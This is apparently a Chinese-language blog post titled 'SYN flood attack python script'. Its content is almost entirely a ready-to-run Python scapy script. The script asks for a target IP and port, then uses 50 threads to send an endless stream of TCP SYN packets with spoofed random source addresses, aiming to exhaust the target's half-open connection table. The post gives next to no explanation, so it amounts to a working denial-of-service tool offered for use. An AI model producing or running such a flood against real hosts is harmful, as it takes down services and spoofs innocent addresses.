半连接泛洪攻击python脚本

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@Project :python-learn 
@File    :半连接泛洪攻击.py
@Author  :星之尘
@Date    :2023/6/12 16:51 
@脚本说明:
"""
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import random
import time
import threading
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import sr1


dst = input('请输入要攻击的ip')
dport = int(input('请输入要攻击的端口'))
def send_packet():
        while True:
            # 生成随机的源端口和序列号
            sport = random.randint(1000, 6000)
            seq = random.randint(1000, 600000)

            # 构造IP和TCP数据包
            src_ip = '192.168.1.' + str(random.randint(1, 254))  # 修改源IP地址
            data = IP(src=src_ip, dst=dst) / TCP(sport=sport, dport=dport, flags='S', seq=seq)

            # 发送数据包并接收回复
            result = sr1(data, timeout=1, verbose=False)

# 创建多个线程
num_threads = 50  # 设置线程数量
threads = []
for _ in range(num_threads):
        t = threading.Thread(target=send_packet)
        threads.append(t)

    # 启动线程
for t in threads:
        t.start()

    # 等待线程完成
for t in threads:
        t.join()

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值